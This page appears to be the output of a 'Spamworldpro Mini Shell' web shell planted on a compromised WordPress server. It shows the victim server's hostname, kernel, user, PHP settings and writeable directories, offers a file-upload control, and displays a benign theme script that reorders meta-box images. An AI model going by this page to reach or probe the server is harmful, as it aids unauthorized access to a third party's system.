Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/www/wp-content/themes/dt-the7/inc/extensions/meta-box/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/www/wp-content/themes/dt-the7/inc/extensions/meta-box/js/image.js
jQuery( document ).ready( function( $ )
{
	// Reorder images
	$( '.the7-mb-images' ).each( function()
	{
		var $this    = $( this ),
			$container = $this.closest('.the7-mb-uploaded'),
			data     = {
				action  	: 'the7_mb_reorder_images',
				_ajax_nonce	: $container.data('reorder_nonce'),
				post_id 	: $( '#post_ID' ).val(),
				field_id	: $container.data('field_id')
			};
		$this.sortable( {
			placeholder: 'ui-state-highlight',
			items      : 'li',
			update     : function()
			{
				data.order = $this.sortable( 'serialize' );

				$.post( ajaxurl, data, function( r )
				{
					var res = wpAjax.parseAjaxResponse( r, 'ajax-response' );
					if ( res.errors )
						alert( res.responses[0].errors[0].message );
				}, 'xml' );
			}
		} );
	} );
} );

Spamworldpro Mini